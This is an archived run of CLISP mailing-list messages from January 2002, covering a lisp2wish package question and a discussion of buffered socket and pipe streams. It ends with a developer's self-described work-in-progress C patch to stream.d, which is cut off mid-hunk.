Sam Steingold on 21.01.2002 15:34:36 Please respond to sds@gnu.org To: johann.murauer@utimaco.at cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp2wish - getting started problem > * In message > * On the subject of "[clisp-list] lisp2wish - getting started problem" > * Sent on Mon, 21 Jan 2002 14:24:29 +0100 > * Honorable johann.murauer@utimaco.at writes: > > *** - EVAL: the function WISH::RUN-PROGRAM is undefined find the definition of the package WISH and make it use EXT. (add a (:USE "EXT") clause to the DEFPACKAGE form) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! cogito cogito ergo cogito sum From amoroso@mclink.it Mon Jan 21 08:27:28 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ShI6-0000Kt-00 for ; Mon, 21 Jan 2002 08:27:26 -0800 Received: from net145-005.mclink.it (net145-005.mclink.it [195.110.145.5]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g0LGRKf06686 for ; Mon, 21 Jan 2002 17:27:21 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp2wish - getting started problem Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 08:28:04 2002 X-Original-Date: Mon, 21 Jan 2002 17:23:55 +0100 On Mon, 21 Jan 2002 15:51:49 +0100, Johann wrote: > Now I would be happy if I have a lisp2wish - document for beginners. > Getting started, how to use it, small examples .... I seem to remember that the lisp2wish source code includes a short example. Also look at the documentation strings of exported symbols. There is no other documentation. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From samuel.steingold@verizon.net Mon Jan 21 09:20:26 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Si7N-0001Tk-00 for ; Mon, 21 Jan 2002 09:20:25 -0800 Received: from xchange.com ([12.25.11.194]) by out020.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020121172023.PCYJ4908.out020.verizon.net@xchange.com>; Mon, 21 Jan 2002 11:20:23 -0600 To: Todd Sabin Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 09:21:02 2002 X-Original-Date: 21 Jan 2002 12:20:14 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 18 Jan 2002 16:33:17 -0500 > * Honorable Todd Sabin writes: > > Maybe you have a more recent version? SOCKET-STATUS now works with any handle-based stream provided your OS's select call can accept the handle (i.e., pipes work on UNIX but not win32) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Never underestimate the power of stupid people in large groups. From tas@webspan.net Mon Jan 21 10:24:31 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Sj7O-0001jr-00 for ; Mon, 21 Jan 2002 10:24:31 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id NAA18999; Mon, 21 Jan 2002 13:24:21 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "21 Jan 2002 12:20:14 -0500") Message-ID: Lines: 32 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 10:25:01 2002 X-Original-Date: 21 Jan 2002 13:24:21 -0500 Sam Steingold writes: > > * In message > > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > > * Sent on 18 Jan 2002 16:33:17 -0500 > > * Honorable Todd Sabin writes: > > > > Maybe you have a more recent version? > > SOCKET-STATUS now works with any handle-based stream provided your OS's > select call can accept the handle (i.e., pipes work on UNIX but not win32) I haven't tested it, but I think your patch gets the case of buffered io pipes wrong. I.e. (setq p (make-pipe-io-stream "bash" :buffered t)) (format p "ls~%") (force-output p) (socket-status p) will yield :output, not :io. I made the same mistake when I tried it this weekend. For buffered pipes, you need to use ChannelStream_buffered(stream) to get the handle. Probably makes sense to define a PipeChannel similar to SocketChannel. I also did some work on getting buffered streams to work with non-4096 blocks of data, and to not hang on read-{byte,char}-will-hang-p. It's not complete at this point, but I'll send it separately as food for thought... Todd From tas@webspan.net Mon Jan 21 10:56:03 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SjaS-0005Px-00 for ; Mon, 21 Jan 2002 10:54:32 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id NAA19044; Mon, 21 Jan 2002 13:52:53 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "18 Jan 2002 13:02:56 -0500") Message-ID: Lines: 66 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 10:57:02 2002 X-Original-Date: 21 Jan 2002 13:52:53 -0500 --=-=-= Sam Steingold writes: > (setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos)) > # > (format s "GET / HTTP/1.0~2%") > (READ-CHAR-WILL-HANG-P s) > __HANG__ > > (setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos)) > # > (format s "GET / HTTP/1.0~2%") > (finish-output s) > (READ-CHAR-WILL-HANG-P s) > NIL > > > The problem I have with buffered sockets is on the server side, not > > the client. There's no way a server can use buffered sockets, because > > it's totally impossible to read a client's requests unless they happen > > to terminate on 4K boundaries (or the client closes his end of the > > socket with shutdown(2) before receiving a reply). And, as I said > > before, I don't really care much about buffering on input, but you > > can't buffer on output unless you also buffer on input, and I do care > > about buffering on output. > > confirmed. Here's some progress on this. (Ignore the socket-status stuff, since you've already done that.) There are two sets of changes, both still works in progress. The first makes it possible to use buffered streams when you don't have 4096 blocks of data to work with. What I did is change the eofindex member of the stream to an 'endvalid' member, and added an explicit flag which indicates that the eof is at endvalid. This actually simplified a number of things, though it's not complete, yet. I'm sure the eof_hit flag isn't set correctly in all cases. The other piece needed for this is to change full_read in unixaux.d to return less than 4096 bytes of data if possible. (Other _read functions would need to be similarly modified.) With those changes buffered sockets are quite usable, though the hang problem still exists. Fixing the hang problem was worse. I modified buffered_nextbyte to accept a bool* which means that the caller wants to know if buffered_nextbyte _might_ block. Most existing callers of buffered_nextbyte just pass NULL and block if necessary, as before. listen_char and listen_byte, however, are interested, and if buffered_nextbyte might hang, they call low_listen_handle. low_listen_handle is what used to be low_listen_unbuffered_handle, minus the unbuffered stuff. In the case where low_listen_handle has to resort to a read, it makes a callback with the read data so that it can be handled appropriately in the buffered and unbuffered cases. This last bit is quite ugly (and not totally correct at this point, either), and there's probably a better way to handle it. Anyway, food for thought. With these changes, my web proxy gets the same throughput for large downloads as I get with the C proxy I have been using, ~190K/s. I.e. the limiting factor is my bandwidth. When I have to use unbuffered sockets, the best it could do was ~30K/s. So fixing this is a big win. Comments appreciated. Todd --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=buffered.diff Content-Description: buffered.diff Index: stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.253 diff -u -r1.253 stream.d --- stream.d 2002/01/18 22:07:51 1.253 +++ stream.d 2002/01/21 18:40:29 @@ -4604,18 +4604,17 @@ return b; } } - -local signean low_listen_unbuffered_handle (object stream) { - if (UnbufferedStream_status(stream) < 0) # already EOF? - return ls_eof; - if (UnbufferedStream_status(stream) > 0) # bytebuf contains valid bytes? - return ls_avail; + +local signean low_listen_handle (object stream, uintL read_amt, + void (*handle_read)(object stream, uintB *buff, uintL amt)) { # Method 1: select, see SELECT(2) # Method 2: ioctl FIONREAD, see FILIO(4) # Method 3: switch temporarily to non-blocking I/O and try read(), # see READ(2V), FILIO(4), or # see READ(2V), FCNTL(2V), FCNTL(5) - var Handle handle = TheHandle(TheStream(stream)->strm_ichannel); + var bool buffered = ChannelStream_buffered(stream); + var Handle handle = buffered ? TheHandle(TheStream(stream)->strm_buffered_channel) + : TheHandle(TheStream(stream)->strm_ichannel); #if defined(EMUNIX) { var struct termio oldtermio; @@ -4722,7 +4721,7 @@ #if !(defined(HAVE_SELECT) && !defined(UNIX_BEOS)) if (!nullp(TheStream(stream)->strm_isatty)) { # Terminal # switch to non-blocking mode, then try read(): - var uintB b; + var uintB b[4096]; var int result; restart_read_tty: #ifdef FIONBIO # non-blocking I/O a la BSD 4.2 @@ -4732,7 +4731,7 @@ if (!( ioctl(handle,FIONBIO,&non_blocking_io) ==0)) { OS_error(); } - result = read(handle,&b,1); + result = read(handle,b,min(sizeof(b),read_amt)); non_blocking_io = 0; if (!( ioctl(handle,FIONBIO,&non_blocking_io) ==0)) { OS_error(); @@ -4753,7 +4752,7 @@ OS_error(); } #endif - result = read(handle,&b,1); + result = read(handle,b,min(sizeof(b),read_amt)); if ( fcntl(handle,F_SETFL,fcntl_flags) <0) { OS_error(); } @@ -4780,7 +4779,7 @@ return ls_wait; } else { # Stuff the read byte into the buffer, for next low_read call. - UnbufferedStreamLow_push_byte(stream,b); + handle_read (stream, b, result); return ls_avail; } # If this doesn't work, should use a timer 0.1 sec ?? @@ -4790,8 +4789,9 @@ { # try to read a byte: restart_read_other: - var uintB b; - var int result = read(handle,&b,1); + var uintB b[4096]; +#define min(a,b) (((a)<(b))?(a):(b)) + var int result = read(handle,b,min(sizeof(b),read_amt)); if (result<0) { if (errno==EINTR) goto restart_read_other; @@ -4799,10 +4799,13 @@ } end_system_call(); if (result==0) { - UnbufferedStream_status(stream) = -1; return ls_eof; + if (!buffered) + UnbufferedStream_status(stream) = -1; + return ls_eof; } else { # Stuff the read byte into the buffer, for next low_read call. - UnbufferedStreamLow_push_byte(stream,b); + handle_read (stream, b, result); + # UnbufferedStreamLow_push_byte(stream,b); return ls_avail; } } @@ -4934,6 +4937,18 @@ #endif } +local void handle_unbuffered_read (object stream, uintB *buff, uintL amt) { + UnbufferedStreamLow_push_byte(stream,*buff); +} + +local signean low_listen_unbuffered_handle (object stream) { + if (UnbufferedStream_status(stream) < 0) # already EOF? + return ls_eof; + if (UnbufferedStream_status(stream) > 0) # bytebuf contains valid bytes? + return ls_avail; + return low_listen_handle (stream, 1, handle_unbuffered_read); +} + local bool low_clear_input_unbuffered_handle (object stream) { if (nullp(TheStream(stream)->strm_isatty)) return false; # it's a file -> nothing to do @@ -5872,10 +5887,10 @@ uintL (* low_fill) (object stream); void (* low_flush) (object stream, uintL bufflen); uintL buffstart; # start position of buffer - sintL eofindex; # index up to which the data is valid - # (for recognizing EOF) - #define eofindex_all_invalid (-1) - #define eofindex_all_valid (-2) + sintL endvalid; # index up to which the data is valid + bool eof_hit : 8; # have we hit the EOF? + # define eofindex_all_invalid (-1) + # define eofindex_all_valid (-2) uintL index; # index into buffer (>=0, <=strm_buffered_bufflen) bool modified : 8; # true if the buffer contains modified data, else false bool regular : 8; # whether the handle refers to a regular file @@ -5928,8 +5943,12 @@ ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->buffstart #define BufferedStream_eofindex(stream) \ ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->eofindex +#define BufferedStream_endvalid(stream) \ + ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->endvalid #define BufferedStream_index(stream) \ ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->index +#define BufferedStream_eof_hit(stream) \ + ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->eof_hit #define BufferedStream_modified(stream) \ ((strm_buffered_extrafields_t*)&TheStream(stream)->strm_channel_extrafields)->modified #define BufferedStream_regular(stream) \ @@ -6108,8 +6127,8 @@ BufferedStream_buffstart(stream),SEEK_SET,); # positioning back end_system_call(); } - # write eofindex Bytes: - BufferedStreamLow_flush(stream)(stream,BufferedStream_eofindex(stream)); + # write endvalid Bytes: + BufferedStreamLow_flush(stream)(stream,BufferedStream_endvalid(stream)); } # UP: Writes the modified Buffer back. @@ -6118,7 +6137,7 @@ # < modified_flag of stream : deleted # changed in stream: index local void buffered_flush (object stream) { - if (BufferedStream_eofindex(stream) == eofindex_all_valid) # Buffer entirely valid? + if (BufferedStream_endvalid(stream) == strm_buffered_bufflen) # Buffer entirely valid? buffered_full_flush(stream); else buffered_half_flush(stream); @@ -6131,50 +6150,43 @@ # < result : NULL if EOF (and then index=eofindex), # else: Pointer to the next Byte # changed in stream: index, eofindex, buffstart -local uintB* buffered_nextbyte (object stream) { - var sintL eofindex = BufferedStream_eofindex(stream); +local uintB* buffered_nextbyte (object stream, bool* non_block) { + var sintL endvalid = BufferedStream_endvalid(stream); var uintL index = BufferedStream_index(stream); - if (!(eofindex == eofindex_all_valid)) { # Bufferdata only half valid - if (eofindex == eofindex_all_invalid) # Bufferdata entirely invalid - goto reread; - else # EOF occurs in this Sector - goto eofsector; - } - # Bufferdata entirely valid - if (index != strm_buffered_bufflen) { # index = bufflen ? - # no, so 0 <= index < strm_buffered_bufflen -> OK - return BufferedStream_buffer_address(stream,index); - } - # Buffer must be newly filled. - if (BufferedStream_modified(stream)) - # Beforehand the Buffer must be flushed out: - buffered_full_flush(stream); - BufferedStream_buffstart(stream) += strm_buffered_bufflen; - reread: { # From here, read the Buffer newly: + + if ((endvalid == index) && !BufferedStream_eof_hit (stream)) { + if (non_block) { + *non_block = true; + return (uintB*) NULL; + } + if (BufferedStream_modified(stream)) + # Beforehand the Buffer must be flushed out: + buffered_full_flush(stream); + BufferedStream_buffstart(stream) += endvalid; + var sintL result; if (BufferedStream_blockpositioning(stream) - || !((TheStream(stream)->strmflags & strmflags_rd_B) == 0)) { + || (TheStream(stream)->strmflags & strmflags_rd_B)) { result = BufferedStreamLow_fill(stream)(stream); - if (result==strm_buffered_bufflen) { # the entire Buffer was filled - BufferedStream_index(stream) = 0; # Index := 0 - BufferedStream_modified(stream) = false; # Buffer unmodified - BufferedStream_eofindex(stream) = eofindex_all_valid; # eofindex := all_valid - return BufferedStream_buffer_address(stream,0); - } } else { result = 0; } - # result (< strm_buffered_bufflen) Bytes were read. - # Not the entire Buffer was filled -> EOF is reached. - BufferedStream_index(stream) = index = 0; # Index := 0 - BufferedStream_modified(stream) = false; # Buffer unmodified - BufferedStream_eofindex(stream) = eofindex = result; # eofindex := result - } - eofsector: # eofindex is a Fixnum, i.e. EOF occurs in this Sector. - if (index == eofindex) - return (uintB*)NULL; # EOF reached - else + BufferedStream_index(stream) = index = 0; + BufferedStream_modified(stream) = false; + BufferedStream_endvalid(stream) = endvalid = result; + if (result == 0) { + BufferedStream_eof_hit (stream) = true; + } + } + if (index < endvalid) { + # no, so 0 <= index < strm_buffered_bufflen -> OK + if (non_block) *non_block = false; return BufferedStream_buffer_address(stream,index); + } elif (BufferedStream_eof_hit (stream)) { + if (non_block) *non_block = false; + return (uintB*) NULL; + } else + ASSERT (false); } # UP: Prepares the writing of a Byte at EOF. @@ -6185,19 +6197,19 @@ # changed in stream: index, eofindex, buffstart local uintB* buffered_eofbyte (object stream) { # EOF. eofindex=index. - if (BufferedStream_eofindex(stream) == strm_buffered_bufflen) { + if (BufferedStream_endvalid(stream) == strm_buffered_bufflen) { # eofindex = strm_buffered_bufflen # Buffer must be filled newly. Because after that EOF will occur anyway, # it is sufficient, to flush the Buffer out: if (BufferedStream_modified(stream)) buffered_half_flush(stream); BufferedStream_buffstart(stream) += strm_buffered_bufflen; - BufferedStream_eofindex(stream) = 0; # eofindex := 0 + BufferedStream_endvalid(stream) = 0; # eofindex := 0 BufferedStream_index(stream) = 0; # index := 0 BufferedStream_modified(stream) = false; # unmodified } # increase eofindex: - BufferedStream_eofindex(stream) += 1; + BufferedStream_endvalid(stream) += 1; return BufferedStream_buffer_address(stream,BufferedStream_index(stream)); } @@ -6207,7 +6219,7 @@ # > b : Byte to be written # changed in stream: index, eofindex, buffstart local void buffered_writebyte (object stream, uintB b) { - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (!(ptr == (uintB*)NULL)) { if (*ptr == b) # no real Modification? goto no_modification; @@ -6241,12 +6253,9 @@ local void position_file_buffered (object stream, uintL position) { # Is the new Position in the same Sector? { - var sintL eofindex = BufferedStream_eofindex(stream); + var sintL endvalid = BufferedStream_endvalid(stream); var uintL newindex = position - BufferedStream_buffstart(stream); - if (newindex - <= ((eofindex == eofindex_all_valid) ? strm_buffered_bufflen : - (!(eofindex == eofindex_all_invalid)) ? eofindex : - 0)) { # yes -> only index has to be changed: + if (newindex <= endvalid) { BufferedStream_index(stream) = newindex; return; } @@ -6260,7 +6269,7 @@ handle_lseek(stream,BufferedStream_channel(stream),position,SEEK_SET,); end_system_call(); BufferedStream_buffstart(stream) = position; - BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid + BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid BufferedStream_index(stream) = 0; # index := 0 BufferedStream_modified(stream) = false; # unmodified } else { @@ -6275,17 +6284,17 @@ BufferedStream_buffstart(stream) = newposition; } # read Sector: - BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid + BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid BufferedStream_index(stream) = 0; # index := 0 BufferedStream_modified(stream) = false; # unmodified var uintL newindex = position % strm_buffered_bufflen; # desired Index in the Sector if (!(newindex==0)) { # Position between Sectors -> nothing needs to be read - buffered_nextbyte(stream); + buffered_nextbyte(stream,0); # Now index=0. # set index to (position mod bufflen) , but check beforehand: - var sintL eofindex = BufferedStream_eofindex(stream); + var sintL endvalid = BufferedStream_endvalid(stream); # Either eofindex=all_valid or 0<=newindex<=eofindex must be true: - if (!((eofindex == eofindex_all_valid) || (newindex <= eofindex))) { + if (newindex > endvalid) { # Error. But first position back to the old Position: check_SP(); position_file_buffered(stream,oldposition); # position back @@ -6308,13 +6317,11 @@ local uintB* read_byte_array_buffered (object stream, uintB* byteptr, uintL len) { do { - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) break; - var sintL eofindex = BufferedStream_eofindex(stream); - var uintL available = - (eofindex == eofindex_all_valid ? strm_buffered_bufflen : eofindex) - - BufferedStream_index(stream); + var sintL endvalid = BufferedStream_endvalid(stream); + var uintL available = endvalid - BufferedStream_index(stream); if (available > len) available = len; # copy all available bytes: @@ -6341,13 +6348,12 @@ var uintL remaining = len; var uintB* ptr; do { # still remaining>0 Bytes to be filed. - ptr = buffered_nextbyte(stream); + ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) goto eof_reached; - var sintL eofindex = BufferedStream_eofindex(stream); + var sintL endvalid = BufferedStream_endvalid(stream); var uintL next = # as many as still fit in the Buffer or until EOF - ((eofindex==eofindex_all_valid) ? strm_buffered_bufflen : eofindex) - - BufferedStream_index(stream); # > 0 ! + endvalid - BufferedStream_index(stream); # > 0 ! if (next > remaining) next = remaining; { # copy next Bytes in the Buffer: @@ -6374,8 +6380,8 @@ # so it is sufficient to flush the buffer: if (BufferedStream_modified(stream)) buffered_half_flush(stream); - BufferedStream_buffstart(stream) += strm_buffered_bufflen; - BufferedStream_eofindex(stream) = 0; # eofindex := 0 + BufferedStream_buffstart(stream) += BufferedStream_endvalid(stream); + BufferedStream_endvalid(stream) = 0; # eofindex := 0 BufferedStream_index(stream) = 0; # index := 0 BufferedStream_modified(stream) = false; # unmodified # Then try again: @@ -6392,7 +6398,7 @@ remaining = remaining - next; # increment index and eofindex BufferedStream_index(stream) += next; - BufferedStream_eofindex(stream) += next; + BufferedStream_endvalid(stream) += next; } while (remaining != 0); } return byteptr; @@ -6407,7 +6413,7 @@ # READ-CHAR - Pseudo-Function for File-Streams of Characters local object rd_ch_buffered (const object* stream_) { var object stream = *stream_; - var uintB* bufferptr = buffered_nextbyte(stream); + var uintB* bufferptr = buffered_nextbyte(stream,0); if (bufferptr == (uintB*)NULL) # EOF ? return eof_value; # fetch next character: @@ -6416,10 +6422,8 @@ var object encoding = TheStream(stream)->strm_encoding; # Does the buffer contain a complete character? { - var sintL eofindex = BufferedStream_eofindex(stream); - var uintL available = - (eofindex == eofindex_all_valid ? strm_buffered_bufflen : eofindex) - - BufferedStream_index(stream); + var sintL endvalid = BufferedStream_endvalid(stream); + var uintL available = endvalid - BufferedStream_index(stream); var const uintB* bptr = bufferptr; var chart* cptr = &c; Encoding_mbstowcs(encoding) @@ -6461,7 +6465,7 @@ } break; } - bufferptr = buffered_nextbyte(stream); + bufferptr = buffered_nextbyte(stream,0); if (bufferptr == (uintB*)NULL) return eof_value; } @@ -6477,7 +6481,7 @@ ChannelStream_lineno(stream) += 1; } else if (chareq(c,ascii(CR))) { # check next character for LF - bufferptr = buffered_nextbyte(stream); + bufferptr = buffered_nextbyte(stream,0); if ((bufferptr != NULL) && chareq(as_chart(*bufferptr),ascii(LF))) { # increment index and position BufferedStream_index(stream) += 1; @@ -6489,6 +6493,22 @@ return code_char(c); } + +local void handle_buffered_read (object stream, uintB *buff, uintL amt) { + # FIXME: if modified, really need to flush, and then seek back to the + # right place. ugh. + # hrif (BufferedStream_modified(stream)) + # Beforehand the Buffer must be flushed out: + # buffered_full_flush(stream); + BufferedStream_buffstart(stream) += BufferedStream_endvalid(stream); + + BufferedStream_index(stream) = 0; + BufferedStream_modified(stream) = false; + BufferedStream_endvalid(stream) = amt; + memcpy(BufferedStream_buffer_address(stream,0), + buff, amt); +} + # Determines, if a character is available on a File-Stream. # listen_char_buffered(stream) # > stream: File-Stream of Characters @@ -6496,13 +6516,19 @@ # ls_eof if EOF is reached, # ls_wait if no character is available, but not because of EOF local signean listen_char_buffered (object stream) { - if (buffered_nextbyte(stream) == (uintB*)NULL) - return ls_eof; # EOF + var bool might_block = false; + var uintB* ptr = buffered_nextbyte(stream,&might_block); # In case of UNICODE, the presence of a byte does not guarantee the # presence of a multi-byte character. Returning ls_avail here is # therefore not correct. But this doesn't matter since programs seeing # ls_avail will call read-char, and this will do the right thing anyway. - return ls_avail; + if (ptr) + return ls_avail; + elif (!might_block) + return ls_eof; # EOF + else + return low_listen_handle (stream, strm_buffered_bufflen, + handle_buffered_read); } # READ-CHAR-ARRAY - Pseudo-Function for File-Streams of Characters: @@ -6517,15 +6543,13 @@ var chart* endptr = startptr+len; loop { var chart* startptr = charptr; - var uintB* bufferptr = buffered_nextbyte(stream); + var uintB* bufferptr = buffered_nextbyte(stream,0); if (bufferptr == (uintB*)NULL) # EOF -> finished break; # Read as many complete characters from the buffer as possible. { - var sintL eofindex = BufferedStream_eofindex(stream); - var uintL available = - (eofindex == eofindex_all_valid ? strm_buffered_bufflen : eofindex) - - BufferedStream_index(stream); + var sintL endvalid = BufferedStream_endvalid(stream); + var uintL available = endvalid - BufferedStream_index(stream); var const uintB* bptr = bufferptr; var chart* cptr = charptr; Encoding_mbstowcs(encoding) @@ -6565,7 +6589,7 @@ } break; } - bufferptr = buffered_nextbyte(stream); + bufferptr = buffered_nextbyte(stream,0); if (bufferptr == (uintB*)NULL) # EOF -> finished break; } @@ -6586,7 +6610,7 @@ } else if (chareq(c,ascii(CR))) { # check next character for LF if (ptr1 == charptr) { - uintB* bufferptr = buffered_nextbyte(stream); + uintB* bufferptr = buffered_nextbyte(stream,0); if ((bufferptr != NULL) && chareq(as_chart(*bufferptr),ascii(LF))) { # increment index and position @@ -6610,7 +6634,7 @@ return charptr - startptr; #else do { - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) # EOF -> finished break; var chart ch = as_chart(*ptr); @@ -6621,7 +6645,7 @@ ChannelStream_lineno(stream) += 1; } else if (chareq(ch,ascii(CR))) { # check next character for LF - ptr = buffered_nextbyte(stream); + ptr = buffered_nextbyte(stream,0); if (!(ptr == (uintB*)NULL) && chareq(as_chart(*ptr),ascii(LF))) { # increment index and position BufferedStream_index(stream) += 1; @@ -6937,7 +6961,7 @@ return; if (# Is the addressed position situated in the first byte after EOF ? ((!((position_bits%8)==0)) - && (buffered_nextbyte(stream) == (uintB*)NULL)) + && (buffered_nextbyte(stream,0) == (uintB*)NULL)) # Is the addressed position situated in the last byte too far? || ((bitsize < 8) && (position > BufferedStream_eofposition(stream)))) { @@ -6967,7 +6991,7 @@ #if 0 # equivalent, but slower var uintL count; dotimespL(count,bytesize, { - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) goto eof; # fetch next Byte: @@ -7004,7 +7028,7 @@ var uintL bitindex = BufferedStream_bitindex(stream); var uintL count = bitindex + bitsize; var uint8 bit_akku; - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) goto eof; # Get first partial byte: @@ -7015,7 +7039,7 @@ # increment index, because *ptr is processed: BufferedStream_index(stream) += 1; count -= 8; # still count (>0) Bits to fetch. - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) goto eof1; # fetch next Byte: @@ -7051,7 +7075,7 @@ &TheSbvector(TheStream(stream)->strm_bitbuffer)->data[0]; var uintL count = bitsize; var uintL bitshift = BufferedStream_bitindex(stream); - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (ptr != (uintB*)NULL) { # start getting bytes: var uint16 bit_akku = (*ptr)>>bitshift; @@ -7062,7 +7086,7 @@ # bit_akku: bits (bitshift-1)..0 are valid. # have to get count (>0) bits. { - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) goto eof; # get next byte: @@ -7076,7 +7100,7 @@ count -= 8; } # count > 0 -- the number of bits to get - ptr = buffered_nextbyte(stream); + ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) # EOF ? bit_akku = *buffered_eofbyte(stream); *bitbufferptr = (uint8)(bit_akku & (uint8)(bit(count)-1)); @@ -7121,7 +7145,7 @@ # READ-BYTE - Pseudo-Function for File-Streams of Integers, Type au, bitsize = 8 : local object rd_by_iau8_buffered (object stream) { - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (!(ptr == (uintB*)NULL)) { var object obj = fixnum(*ptr); # increment index and position @@ -7152,9 +7176,15 @@ # ls_eof if EOF is reached, # ls_wait if no byte is available, but not because of EOF local signean listen_byte_ia8_buffered (object stream) { - if (buffered_nextbyte(stream) == (uintB*)NULL) - return ls_eof; # EOF - return ls_avail; + var bool might_block = false; + var uintB* ptr = buffered_nextbyte(stream,&might_block); + if (ptr) + return ls_avail; + elif (!might_block) + return ls_eof; + else + return low_listen_handle (stream, strm_buffered_bufflen, + handle_buffered_read); } # Output side @@ -7179,7 +7209,7 @@ # write last byte (count bits): #define WRITE_LAST_BYTE \ if (!(count==0)) { \ - ptr = buffered_nextbyte(stream); \ + ptr = buffered_nextbyte(stream,0); \ if (ptr == (uintB*)NULL) { /* EOF */ \ ptr = buffered_eofbyte(stream); /* 1 Byte */ \ *ptr = (uint8)bit_akku; /* write byte */ \ @@ -7199,7 